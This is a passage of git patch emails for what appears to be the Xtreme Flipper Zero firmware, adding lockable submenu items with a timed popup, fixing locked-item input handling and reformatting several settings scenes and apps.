submenu_view_input_callback(InputEvent* event, void* context) { return consumed; } +void submenu_timer_callback(void* context) { + furi_assert(context); + Submenu* submenu = context; + + with_view_model( + submenu->view, SubmenuModel * model, { model->locked_message_visible = false; }, true); +} + Submenu* submenu_alloc() { Submenu* submenu = malloc(sizeof(Submenu)); submenu->view = view_alloc(); @@ -164,6 +222,8 @@ Submenu* submenu_alloc() { view_set_draw_callback(submenu->view, submenu_view_draw_callback); view_set_input_callback(submenu->view, submenu_view_input_callback); + submenu->timer = furi_timer_alloc(submenu_timer_callback, FuriTimerTypeOnce, submenu); + with_view_model( submenu->view, SubmenuModel * model, @@ -189,6 +249,8 @@ void submenu_free(Submenu* submenu) { SubmenuItemArray_clear(model->items); }, true); + furi_timer_stop(submenu->timer); + furi_timer_free(submenu->timer); view_free(submenu->view); free(submenu); } @@ -203,10 +265,15 @@ void submenu_add_item( const char* label, uint32_t index, SubmenuItemCallback callback, - void* callback_context) { + void* callback_context, + bool locked, + const char* locked_message) { SubmenuItem* item = NULL; furi_assert(label); furi_assert(submenu); + if(locked) { + furi_assert(locked_message); + } with_view_model( submenu->view, @@ -217,6 +284,10 @@ void submenu_add_item( item->index = index; item->callback = callback; item->callback_context = callback_context; + item->locked = locked; + if(locked) { + furi_string_set_str(item->locked_message, locked_message); + } }, true); } @@ -334,10 +405,14 @@ void submenu_process_ok(Submenu* submenu) { if(model->position < items_size) { item = SubmenuItemArray_get(model->items, model->position); } + if(item && item->locked) { + model->locked_message_visible = true; + furi_timer_start(submenu->timer, furi_kernel_get_tick_frequency() * 4); + } }, true); - if(item && item->callback) { + if(item && !item->locked && item->callback) { item->callback(item->callback_context, item->index); } } diff --git a/applications/services/gui/modules/submenu.h b/applications/services/gui/modules/submenu.h index f68abe83a..e7f8a61a2 100644 --- a/applications/services/gui/modules/submenu.h +++ b/applications/services/gui/modules/submenu.h @@ -51,7 +51,9 @@ void submenu_add_item( const char* label, uint32_t index, SubmenuItemCallback callback, - void* callback_context); + void* callback_context, + bool locked, + const char* locked_message); /** Remove all items from submenu * From f68cffef8df991b5f97e47caa980610e888c8af7 Mon Sep 17 00:00:00 2001 From: Giacomo Ferretti Date: Wed, 11 Jan 2023 00:35:22 +0100 Subject: [PATCH 195/329] Add function to add a lockable submenu item This will prevent to break existing apps --- applications/services/gui/modules/submenu.c | 9 +++++++++ applications/services/gui/modules/submenu.h | 18 ++++++++++++++++++ firmware/targets/f7/api_symbols.csv | 1 + 3 files changed, 28 insertions(+) diff --git a/applications/services/gui/modules/submenu.c b/applications/services/gui/modules/submenu.c index 34d5b5942..71aa4720c 100644 --- a/applications/services/gui/modules/submenu.c +++ b/applications/services/gui/modules/submenu.c @@ -261,6 +261,15 @@ View* submenu_get_view(Submenu* submenu) { } void submenu_add_item( + Submenu* submenu, + const char* label, + uint32_t index, + SubmenuItemCallback callback, + void* callback_context) { + submenu_add_lockable_item(submenu, label, index, callback, callback_context, false, NULL); +} + +void submenu_add_lockable_item( Submenu* submenu, const char* label, uint32_t index, diff --git a/applications/services/gui/modules/submenu.h b/applications/services/gui/modules/submenu.h index e7f8a61a2..e7252eb33 100644 --- a/applications/services/gui/modules/submenu.h +++ b/applications/services/gui/modules/submenu.h @@ -47,6 +47,24 @@ View* submenu_get_view(Submenu* submenu); * @param callback_context menu item callback context */ void submenu_add_item( + Submenu* submenu, + const char* label, + uint32_t index, + SubmenuItemCallback callback, + void* callback_context); + +/** Add lockable item to submenu + * + * @param submenu Submenu instance + * @param label menu item label + * @param index menu item index, used for callback, may be + * the same with other items + * @param callback menu item callback + * @param callback_context menu item callback context + * @param locked menu item locked status + * @param locked_message menu item locked message + */ +void submenu_add_lockable_item( Submenu* submenu, const char* label, uint32_t index, diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 13a6395f3..dea9b9a73 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -3414,6 +3414,7 @@ Function,+,subghz_worker_set_pair_callback,void,"SubGhzWorker*, SubGhzWorkerPair Function,+,subghz_worker_start,void,SubGhzWorker* Function,+,subghz_worker_stop,void,SubGhzWorker* Function,+,submenu_add_item,void,"Submenu*, const char*, uint32_t, SubmenuItemCallback, void*" +Function,+,submenu_add_lockable_item,void,"Submenu*, const char*, uint32_t, SubmenuItemCallback, void*, _Bool, const char*" Function,+,submenu_alloc,Submenu*, Function,+,submenu_free,void,Submenu* Function,+,submenu_get_view,View*,Submenu* From 19625a501662d1dc1108db6daf8d67d47b30e6b7 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 20 Mar 2023 21:09:51 +0000 Subject: [PATCH 196/329] Locked menu item fixes --- applications/services/gui/modules/submenu.c | 18 +++++----- .../services/gui/modules/variable_item_list.c | 36 +++++++++---------- 2 files changed, 26 insertions(+), 28 deletions(-) diff --git a/applications/services/gui/modules/submenu.c b/applications/services/gui/modules/submenu.c index 71aa4720c..b3e158a58 100644 --- a/applications/services/gui/modules/submenu.c +++ b/applications/services/gui/modules/submenu.c @@ -142,20 +142,20 @@ static void submenu_view_draw_callback(Canvas* canvas, void* _model) { elements_scrollbar(canvas, model->position, SubmenuItemArray_size(model->items)); if(model->locked_message_visible) { - canvas_set_font(canvas, FontSecondary); canvas_set_color(canvas, ColorWhite); canvas_draw_box(canvas, 8, 10, 110, 48); canvas_set_color(canvas, ColorBlack); canvas_draw_icon(canvas, 10, 14, &I_WarningDolphin_45x42); canvas_draw_rframe(canvas, 8, 8, 112, 50, 3); canvas_draw_rframe(canvas, 9, 9, 110, 48, 2); - elements_multiline_text( + elements_multiline_text_aligned( canvas, - 62, - 20, + 84, + 32, + AlignCenter, + AlignCenter, furi_string_get_cstr( SubmenuItemArray_get(model->items, model->position)->locked_message)); - canvas_set_font(canvas, FontKeyboard); } } @@ -222,7 +222,7 @@ Submenu* submenu_alloc() { view_set_draw_callback(submenu->view, submenu_view_draw_callback); view_set_input_callback(submenu->view, submenu_view_input_callback); - submenu->timer = furi_timer_alloc(submenu_timer_callback, FuriTimerTypeOnce, submenu); + submenu->locked_timer = furi_timer_alloc(submenu_timer_callback, FuriTimerTypeOnce, submenu); with_view_model( submenu->view, @@ -249,8 +249,8 @@ void submenu_free(Submenu* submenu) { SubmenuItemArray_clear(model->items); }, true); - furi_timer_stop(submenu->timer); - furi_timer_free(submenu->timer); + furi_timer_stop(submenu->locked_timer); + furi_timer_free(submenu->locked_timer); view_free(submenu->view); free(submenu); } @@ -416,7 +416,7 @@ void submenu_process_ok(Submenu* submenu) { } if(item && item->locked) { model->locked_message_visible = true; - furi_timer_start(submenu->timer, furi_kernel_get_tick_frequency() * 4); + furi_timer_start(submenu->locked_timer, furi_kernel_get_tick_frequency() * 4); } }, true); diff --git a/applications/services/gui/modules/variable_item_list.c b/applications/services/gui/modules/variable_item_list.c index c01fa2336..83ec0e764 100644 --- a/applications/services/gui/modules/variable_item_list.c +++ b/applications/services/gui/modules/variable_item_list.c @@ -167,7 +167,19 @@ static bool variable_item_list_input_callback(InputEvent* event, void* context) furi_assert(variable_item_list); bool consumed = false; - if(event->type == InputTypeShort) { + bool locked_message_visible = false; + with_view_model( + variable_item_list->view, + VariableItemListModel * model, + { locked_message_visible = model->locked_message_visible; }, + false); + + if((!(event->type == InputTypePress) && !(event->type == InputTypeRelease)) && + locked_message_visible) { + with_view_model( + variable_item_list->view, VariableItemListModel * model, { model->locked_message_visible = false; }, true); + consumed = true; + } else if(event->type == InputTypeShort) { switch(event->key) { case InputKeyUp: consumed = true; @@ -222,9 +234,6 @@ void variable_item_list_process_up(VariableItemList* variable_item_list) { variable_item_list->view, VariableItemListModel * model, { - if(model->locked_message_visible) { - model->locked_message_visible = false; - } uint8_t items_on_screen = 4; if(model->position > 0) { model->position--; @@ -248,9 +257,6 @@ void variable_item_list_process_down(VariableItemList* variable_item_list) { variable_item_list->view, VariableItemListModel * model, { - if(model->locked_message_visible) { - model->locked_message_visible = false; - } uint8_t items_on_screen = 4; if(model->position < (VariableItemArray_size(model->items) - 1)) { model->position++; @@ -293,9 +299,7 @@ void variable_item_list_process_left(VariableItemList* variable_item_list) { VariableItemListModel * model, { VariableItem* item = variable_item_list_get_selected_item(model); - if(model->locked_message_visible) { - model->locked_message_visible = false; - } else if(item->locked) { + if(item->locked) { model->locked_message_visible = true; furi_timer_start(variable_item_list->locked_timer, furi_kernel_get_tick_frequency() * 3); } else if(item->current_value_index > 0) { @@ -315,9 +319,7 @@ void variable_item_list_process_right(VariableItemList* variable_item_list) { VariableItemListModel * model, { VariableItem* item = variable_item_list_get_selected_item(model); - if(model->locked_message_visible) { - model->locked_message_visible = false; - } else if(item->locked) { + if(item->locked) { model->locked_message_visible = true; furi_timer_start(variable_item_list->locked_timer, furi_kernel_get_tick_frequency() * 3); } else if(item->current_value_index < (item->values_count - 1)) { @@ -332,23 +334,19 @@ void variable_item_list_process_right(VariableItemList* variable_item_list) { } void variable_item_list_process_ok(VariableItemList* variable_item_list) { - bool update = false; with_view_model( variable_item_list->view, VariableItemListModel * model, { VariableItem* item = variable_item_list_get_selected_item(model); - if(model->locked_message_visible) { - model->locked_message_visible = false; - update = true; - } else if(item->locked) { + if(item->locked) { model->locked_message_visible = true; furi_timer_start(variable_item_list->locked_timer, furi_kernel_get_tick_frequency() * 3); } else if(variable_item_list->callback) { variable_item_list->callback(variable_item_list->context, model->position); } }, - update); + true); } static void variable_item_list_scroll_timer_callback(void* context) { From 7231ddf8575b7ffd2019c6795417585c82bf3440 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 20 Mar 2023 21:16:40 +0000 Subject: [PATCH 197/329] Change locked submenu popup timeout --- applications/services/gui/modules/submenu.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/services/gui/modules/submenu.c b/applications/services/gui/modules/submenu.c index b3e158a58..5f47ac179 100644 --- a/applications/services/gui/modules/submenu.c +++ b/applications/services/gui/modules/submenu.c @@ -416,7 +416,7 @@ void submenu_process_ok(Submenu* submenu) { } if(item && item->locked) { model->locked_message_visible = true; - furi_timer_start(submenu->locked_timer, furi_kernel_get_tick_frequency() * 4); + furi_timer_start(submenu->locked_timer, furi_kernel_get_tick_frequency() * 3); } }, true); From 89e98dea4ebfdcf168482e5ca411f57b64e49af8 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 20 Mar 2023 21:26:20 +0000 Subject: [PATCH 198/329] Format --- .../external/barcode_gen/views/message_view.c | 7 +- .../external/ir_remote/infrared_remote_app.c | 3 +- applications/external/mfkey32/application.fam | 2 +- .../xtreme_app_scene_interface_common.c | 18 ++- .../xtreme_app_scene_interface_graphics.c | 16 ++- .../xtreme_app_scene_interface_lockscreen.c | 33 ++++- .../xtreme_app_scene_interface_mainmenu.c | 22 +-- .../xtreme_app_scene_interface_statusbar.c | 24 +++- ...e_app_scene_protocols_frequencies_hopper.c | 3 +- ...e_app_scene_protocols_frequencies_static.c | 3 +- applications/main/xtreme_app/xtreme_app.c | 5 +- .../desktop/scenes/desktop_scene_locked.c | 3 +- .../desktop/views/desktop_view_locked.c | 35 +++-- applications/services/gui/elements.c | 5 +- applications/services/gui/modules/menu.c | 128 +++++++++--------- .../services/gui/modules/variable_item_list.c | 31 +++-- firmware/targets/f7/furi_hal/furi_hal_light.c | 3 +- scripts/distfap.py | 4 +- 18 files changed, 207 insertions(+), 138 deletions(-) diff --git a/applications/external/barcode_gen/views/message_view.c b/applications/external/barcode_gen/views/message_view.c index 2ef0ebc06..13e238381 100644 --- a/applications/external/barcode_gen/views/message_view.c +++ b/applications/external/barcode_gen/views/message_view.c @@ -55,12 +55,7 @@ MessageView* message_view_allocate(BarcodeApp* barcode_app) { void message_view_free_model(MessageView* message_view_object) { with_view_model( - message_view_object->view, - MessageViewModel * model, - { - UNUSED(model); - }, - true); + message_view_object->view, MessageViewModel * model, { UNUSED(model); }, true); } void message_view_free(MessageView* message_view_object) { diff --git a/applications/external/ir_remote/infrared_remote_app.c b/applications/external/ir_remote/infrared_remote_app.c index 06b619430..69e5ee083 100644 --- a/applications/external/ir_remote/infrared_remote_app.c +++ b/applications/external/ir_remote/infrared_remote_app.c @@ -195,8 +195,7 @@ int32_t infrared_remote_app(void* p) { FuriString* map_file = furi_string_alloc(); furi_string_set(map_file, "/ext/infrared/remote"); if(!storage_file_exists(storage, ANY_PATH("infrared/remote"))) { - storage_common_mkdir( - storage, ANY_PATH("infrared/remote")); //Make Folder If dir not exist + storage_common_mkdir(storage, ANY_PATH("infrared/remote")); //Make Folder If dir not exist } bool res = dialog_file_browser_show(dialogs, map_file, map_file, &browser_options); diff --git a/applications/external/mfkey32/application.fam b/applications/external/mfkey32/application.fam index 14ce32d45..47ae9c084 100644 --- a/applications/external/mfkey32/application.fam +++ b/applications/external/mfkey32/application.fam @@ -12,5 +12,5 @@ App( fap_category="Tools", fap_author="noproto", fap_icon_assets="images", - fap_weburl="https://github.com/noproto/FlipperMfkey" + fap_weburl="https://github.com/noproto/FlipperMfkey", ) diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_common.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_common.c index 3403524d2..259d8a260 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_common.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_common.c @@ -44,7 +44,11 @@ void xtreme_app_scene_interface_common_on_enter(void* context) { VariableItem* item; item = variable_item_list_add( - var_item_list, "Sort Dirs First", 2, xtreme_app_scene_interface_common_sort_dirs_first_changed, app); + var_item_list, + "Sort Dirs First", + 2, + xtreme_app_scene_interface_common_sort_dirs_first_changed, + app); variable_item_set_current_value_index(item, xtreme_settings->sort_dirs_first); variable_item_set_current_value_text(item, xtreme_settings->sort_dirs_first ? "ON" : "OFF"); @@ -54,7 +58,11 @@ void xtreme_app_scene_interface_common_on_enter(void* context) { variable_item_set_current_value_text(item, xtreme_settings->dark_mode ? "ON" : "OFF"); item = variable_item_list_add( - var_item_list, "Left Handed", 2, xtreme_app_scene_interface_common_left_handed_changed, app); + var_item_list, + "Left Handed", + 2, + xtreme_app_scene_interface_common_left_handed_changed, + app); bool value = furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient); variable_item_set_current_value_index(item, value); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); @@ -63,7 +71,8 @@ void xtreme_app_scene_interface_common_on_enter(void* context) { var_item_list, xtreme_app_scene_interface_common_var_item_list_callback, app); variable_item_list_set_selected_item( - var_item_list, scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneInterfaceCommon)); + var_item_list, + scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneInterfaceCommon)); view_dispatcher_switch_to_view(app->view_dispatcher, XtremeAppViewVarItemList); } @@ -73,7 +82,8 @@ bool xtreme_app_scene_interface_common_on_event(void* context, SceneManagerEvent bool consumed = false; if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, XtremeAppSceneInterfaceCommon, event.event); + scene_manager_set_scene_state( + app->scene_manager, XtremeAppSceneInterfaceCommon, event.event); consumed = true; switch(event.event) { default: diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_graphics.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_graphics.c index 97a24080d..ffcd3cb83 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_graphics.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_graphics.c @@ -86,7 +86,9 @@ void xtreme_app_scene_interface_graphics_on_enter(void* context) { variable_item_set_current_value_index(item, app->asset_pack_index); variable_item_set_current_value_text( item, - app->asset_pack_index == 0 ? "SFW" : *CharList_get(app->asset_pack_names, app->asset_pack_index - 1)); + app->asset_pack_index == 0 ? + "SFW" : + *CharList_get(app->asset_pack_names, app->asset_pack_index - 1)); item = variable_item_list_add( var_item_list, @@ -111,7 +113,11 @@ void xtreme_app_scene_interface_graphics_on_enter(void* context) { variable_item_set_current_value_text(item, cycle_anims_names[value_index]); item = variable_item_list_add( - var_item_list, "Unlock Anims", 2, xtreme_app_scene_interface_graphics_unlock_anims_changed, app); + var_item_list, + "Unlock Anims", + 2, + xtreme_app_scene_interface_graphics_unlock_anims_changed, + app); variable_item_set_current_value_index(item, xtreme_settings->unlock_anims); variable_item_set_current_value_text(item, xtreme_settings->unlock_anims ? "ON" : "OFF"); @@ -119,7 +125,8 @@ void xtreme_app_scene_interface_graphics_on_enter(void* context) { var_item_list, xtreme_app_scene_interface_graphics_var_item_list_callback, app); variable_item_list_set_selected_item( - var_item_list, scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneInterfaceGraphics)); + var_item_list, + scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneInterfaceGraphics)); view_dispatcher_switch_to_view(app->view_dispatcher, XtremeAppViewVarItemList); } @@ -129,7 +136,8 @@ bool xtreme_app_scene_interface_graphics_on_event(void* context, SceneManagerEve bool consumed = false; if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, XtremeAppSceneInterfaceGraphics, event.event); + scene_manager_set_scene_state( + app->scene_manager, XtremeAppSceneInterfaceGraphics, event.event); consumed = true; switch(event.event) { default: diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_lockscreen.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_lockscreen.c index 56e2d73da..5544ee941 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_lockscreen.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_lockscreen.c @@ -49,22 +49,39 @@ void xtreme_app_scene_interface_lockscreen_on_enter(void* context) { VariableItem* item; item = variable_item_list_add( - var_item_list, "Show Time", 2, xtreme_app_scene_interface_lockscreen_show_time_changed, app); + var_item_list, + "Show Time", + 2, + xtreme_app_scene_interface_lockscreen_show_time_changed, + app); variable_item_set_current_value_index(item, xtreme_settings->lockscreen_time); variable_item_set_current_value_text(item, xtreme_settings->lockscreen_time ? "ON" : "OFF"); item = variable_item_list_add( - var_item_list, "Show Date", 2, xtreme_app_scene_interface_lockscreen_show_date_changed, app); + var_item_list, + "Show Date", + 2, + xtreme_app_scene_interface_lockscreen_show_date_changed, + app); variable_item_set_current_value_index(item, xtreme_settings->lockscreen_date); variable_item_set_current_value_text(item, xtreme_settings->lockscreen_date ? "ON" : "OFF"); item = variable_item_list_add( - var_item_list, "Show Statusbar", 2, xtreme_app_scene_interface_lockscreen_show_statusbar_changed, app); + var_item_list, + "Show Statusbar", + 2, + xtreme_app_scene_interface_lockscreen_show_statusbar_changed, + app); variable_item_set_current_value_index(item, xtreme_settings->lockscreen_statusbar); - variable_item_set_current_value_text(item, xtreme_settings->lockscreen_statusbar ? "ON" : "OFF"); + variable_item_set_current_value_text( + item, xtreme_settings->lockscreen_statusbar ? "ON" : "OFF"); item = variable_item_list_add( - var_item_list, "Unlock Prompt", 2, xtreme_app_scene_interface_lockscreen_unlock_prompt_changed, app); + var_item_list, + "Unlock Prompt", + 2, + xtreme_app_scene_interface_lockscreen_unlock_prompt_changed, + app); variable_item_set_current_value_index(item, xtreme_settings->lockscreen_prompt); variable_item_set_current_value_text(item, xtreme_settings->lockscreen_prompt ? "ON" : "OFF"); @@ -72,7 +89,8 @@ void xtreme_app_scene_interface_lockscreen_on_enter(void* context) { var_item_list, xtreme_app_scene_interface_lockscreen_var_item_list_callback, app); variable_item_list_set_selected_item( - var_item_list, scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneInterfaceLockscreen)); + var_item_list, + scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneInterfaceLockscreen)); view_dispatcher_switch_to_view(app->view_dispatcher, XtremeAppViewVarItemList); } @@ -82,7 +100,8 @@ bool xtreme_app_scene_interface_lockscreen_on_event(void* context, SceneManagerE bool consumed = false; if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, XtremeAppSceneInterfaceLockscreen, event.event); + scene_manager_set_scene_state( + app->scene_manager, XtremeAppSceneInterfaceLockscreen, event.event); consumed = true; switch(event.event) { default: diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu.c index baadc0c6c..8d4a6185e 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu.c @@ -7,9 +7,7 @@ enum VarItemListIndex { VarItemListIndexAddApp, }; -void xtreme_app_scene_interface_mainmenu_var_item_list_callback( - void* context, - uint32_t index) { +void xtreme_app_scene_interface_mainmenu_var_item_list_callback(void* context, uint32_t index) { XtremeApp* app = context; view_dispatcher_send_custom_event(app->view_dispatcher, index); } @@ -25,7 +23,8 @@ static void xtreme_app_scene_interface_mainmenu_wii_menu_changed(VariableItem* i static void xtreme_app_scene_interface_mainmenu_app_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); app->mainmenu_app_index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, *CharList_get(app->mainmenu_app_names, app->mainmenu_app_index)); + variable_item_set_current_value_text( + item, *CharList_get(app->mainmenu_app_names, app->mainmenu_app_index)); } void xtreme_app_scene_interface_mainmenu_on_enter(void* context) { @@ -37,7 +36,8 @@ void xtreme_app_scene_interface_mainmenu_on_enter(void* context) { item = variable_item_list_add( var_item_list, "Menu Style", 2, xtreme_app_scene_interface_mainmenu_wii_menu_changed, app); variable_item_set_current_value_index(item, xtreme_settings->wii_menu); - variable_item_set_current_value_text(item, xtreme_settings->wii_menu ? "Wii Grid" : "App List"); + variable_item_set_current_value_text( + item, xtreme_settings->wii_menu ? "Wii Grid" : "App List"); item = variable_item_list_add( var_item_list, @@ -48,7 +48,8 @@ void xtreme_app_scene_interface_mainmenu_on_enter(void* context) { app->mainmenu_app_index = 0; variable_item_set_current_value_index(item, app->mainmenu_app_index); if(CharList_size(app->mainmenu_app_names)) { - variable_item_set_current_value_text(item, *CharList_get(app->mainmenu_app_names, app->mainmenu_app_index)); + variable_item_set_current_value_text( + item, *CharList_get(app->mainmenu_app_names, app->mainmenu_app_index)); } else { variable_item_set_current_value_text(item, "None"); } @@ -62,8 +63,7 @@ void xtreme_app_scene_interface_mainmenu_on_enter(void* context) { variable_item_list_set_selected_item( var_item_list, - scene_manager_get_scene_state( - app->scene_manager, XtremeAppSceneInterfaceMainmenu)); + scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneInterfaceMainmenu)); view_dispatcher_switch_to_view(app->view_dispatcher, XtremeAppViewVarItemList); } @@ -80,8 +80,10 @@ bool xtreme_app_scene_interface_mainmenu_on_event(void* context, SceneManagerEve case VarItemListIndexRemoveApp: if(!CharList_size(app->mainmenu_app_names)) break; if(!CharList_size(app->mainmenu_app_paths)) break; - CharList_remove_v(app->mainmenu_app_names, app->mainmenu_app_index, app->mainmenu_app_index + 1); - CharList_remove_v(app->mainmenu_app_paths, app->mainmenu_app_index, app->mainmenu_app_index + 1); + CharList_remove_v( + app->mainmenu_app_names, app->mainmenu_app_index, app->mainmenu_app_index + 1); + CharList_remove_v( + app->mainmenu_app_paths, app->mainmenu_app_index, app->mainmenu_app_index + 1); app->save_mainmenu_apps = true; app->require_reboot = true; scene_manager_previous_scene(app->scene_manager); diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_statusbar.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_statusbar.c index 7a3765ce0..b0f6f9a05 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_statusbar.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_statusbar.c @@ -62,17 +62,29 @@ void xtreme_app_scene_interface_statusbar_on_enter(void* context) { variable_item_set_current_value_text(item, battery_icon_names[xtreme_settings->battery_icon]); item = variable_item_list_add( - var_item_list, "Status Icons", 2, xtreme_app_scene_interface_statusbar_status_icons_changed, app); + var_item_list, + "Status Icons", + 2, + xtreme_app_scene_interface_statusbar_status_icons_changed, + app); variable_item_set_current_value_index(item, xtreme_settings->status_icons); variable_item_set_current_value_text(item, xtreme_settings->status_icons ? "ON" : "OFF"); item = variable_item_list_add( - var_item_list, "Bar Borders", 2, xtreme_app_scene_interface_statusbar_bar_borders_changed, app); + var_item_list, + "Bar Borders", + 2, + xtreme_app_scene_interface_statusbar_bar_borders_changed, + app); variable_item_set_current_value_index(item, xtreme_settings->bar_borders); variable_item_set_current_value_text(item, xtreme_settings->bar_borders ? "ON" : "OFF"); item = variable_item_list_add( - var_item_list, "Bar Background", 2, xtreme_app_scene_interface_statusbar_bar_background_changed, app); + var_item_list, + "Bar Background", + 2, + xtreme_app_scene_interface_statusbar_bar_background_changed, + app); variable_item_set_current_value_index(item, xtreme_settings->bar_background); variable_item_set_current_value_text(item, xtreme_settings->bar_background ? "ON" : "OFF"); @@ -80,7 +92,8 @@ void xtreme_app_scene_interface_statusbar_on_enter(void* context) { var_item_list, xtreme_app_scene_interface_statusbar_var_item_list_callback, app); variable_item_list_set_selected_item( - var_item_list, scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneInterfaceStatusbar)); + var_item_list, + scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneInterfaceStatusbar)); view_dispatcher_switch_to_view(app->view_dispatcher, XtremeAppViewVarItemList); } @@ -90,7 +103,8 @@ bool xtreme_app_scene_interface_statusbar_on_event(void* context, SceneManagerEv bool consumed = false; if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, XtremeAppSceneInterfaceStatusbar, event.event); + scene_manager_set_scene_state( + app->scene_manager, XtremeAppSceneInterfaceStatusbar, event.event); consumed = true; switch(event.event) { default: diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_hopper.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_hopper.c index 2a9e22004..b9e387252 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_hopper.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_hopper.c @@ -36,8 +36,7 @@ void xtreme_app_scene_protocols_frequencies_hopper_on_enter(void* context) { app->subghz_hopper_index = 0; variable_item_set_current_value_index(item, app->subghz_hopper_index); if(FrequencyList_size(app->subghz_hopper_freqs)) { - uint32_t value = - *FrequencyList_get(app->subghz_hopper_freqs, app->subghz_hopper_index); + uint32_t value = *FrequencyList_get(app->subghz_hopper_freqs, app->subghz_hopper_index); char text[10] = {0}; snprintf(text, sizeof(text), "%lu.%02lu", value / 1000000, (value % 1000000) / 10000); variable_item_set_current_value_text(item, text); diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_static.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_static.c index e83dd1609..b50c1f896 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_static.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_static.c @@ -36,8 +36,7 @@ void xtreme_app_scene_protocols_frequencies_static_on_enter(void* context) { app->subghz_static_index = 0; variable_item_set_current_value_index(item, app->subghz_static_index); if(FrequencyList_size(app->subghz_static_freqs)) { - uint32_t value = - *FrequencyList_get(app->subghz_static_freqs, app->subghz_static_index); + uint32_t value = *FrequencyList_get(app->subghz_static_freqs, app->subghz_static_index); char text[10] = {0}; snprintf(text, sizeof(text), "%lu.%02lu", value / 1000000, (value % 1000000) / 10000); variable_item_set_current_value_text(item, text); diff --git a/applications/main/xtreme_app/xtreme_app.c b/applications/main/xtreme_app/xtreme_app.c index 3c985f72e..0a2d29d40 100644 --- a/applications/main/xtreme_app/xtreme_app.c +++ b/applications/main/xtreme_app/xtreme_app.c @@ -20,7 +20,7 @@ static bool xtreme_app_back_event_callback(void* context) { if(app->save_mainmenu_apps) { Stream* stream = file_stream_alloc(storage); - if(file_stream_open(stream, XTREME_APPS_PATH, FSAM_READ_WRITE, FSOM_CREATE_ALWAYS)){ + if(file_stream_open(stream, XTREME_APPS_PATH, FSAM_READ_WRITE, FSOM_CREATE_ALWAYS)) { CharList_it_t it; CharList_it(it, app->mainmenu_app_paths); for(uint i = 0; i < CharList_size(app->mainmenu_app_paths); i++) { @@ -195,7 +195,8 @@ XtremeApp* xtreme_app_alloc() { if(app->asset_pack_index != 0) { if(idx < app->asset_pack_index) app->asset_pack_index++; } else { - if(strcmp(copy, xtreme_settings->asset_pack) == 0) app->asset_pack_index = idx + 1; + if(strcmp(copy, xtreme_settings->asset_pack) == 0) + app->asset_pack_index = idx + 1; } } } diff --git a/applications/services/desktop/scenes/desktop_scene_locked.c b/applications/services/desktop/scenes/desktop_scene_locked.c index 03dcead88..eaa2b1e11 100644 --- a/applications/services/desktop/scenes/desktop_scene_locked.c +++ b/applications/services/desktop/scenes/desktop_scene_locked.c @@ -89,7 +89,8 @@ bool desktop_scene_locked_on_event(void* context, SceneManagerEvent event) { break; case DesktopLockedEventUpdate: if(desktop_view_locked_is_locked_hint_visible(desktop->locked_view)) { - notification_message(desktop->notification, &sequence_display_backlight_off_delay_1000); + notification_message( + desktop->notification, &sequence_display_backlight_off_delay_1000); } desktop_view_locked_update(desktop->locked_view); consumed = true; diff --git a/applications/services/desktop/views/desktop_view_locked.c b/applications/services/desktop/views/desktop_view_locked.c index a7f072518..9a24414f7 100644 --- a/applications/services/desktop/views/desktop_view_locked.c +++ b/applications/services/desktop/views/desktop_view_locked.c @@ -79,7 